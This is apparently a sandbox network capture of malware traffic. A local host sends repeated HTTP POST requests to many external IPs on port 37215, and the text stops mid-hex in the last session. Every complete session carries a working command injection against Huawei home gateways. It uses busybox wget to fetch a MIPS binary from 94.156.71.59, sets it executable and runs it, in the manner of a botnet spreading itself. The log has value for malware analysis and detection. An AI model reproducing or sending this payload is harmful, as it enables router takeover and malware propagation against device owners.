702	192.168.2.13	54254	156.225.226.13	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.663240910 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.13	42468	197.210.141.62	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.664556026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.13	34524	197.151.209.193	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.666291952 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	56504	197.126.48.116	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.667443037 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	36132	197.46.18.42	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.669182062 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	45274	156.196.121.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.671087027 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	38730	197.176.219.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.672215939 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	38196	197.217.153.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.673516989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	54890	197.224.191.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.674619913 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	33814	41.205.27.222	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.675728083 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	45284	156.224.70.86	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.677115917 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 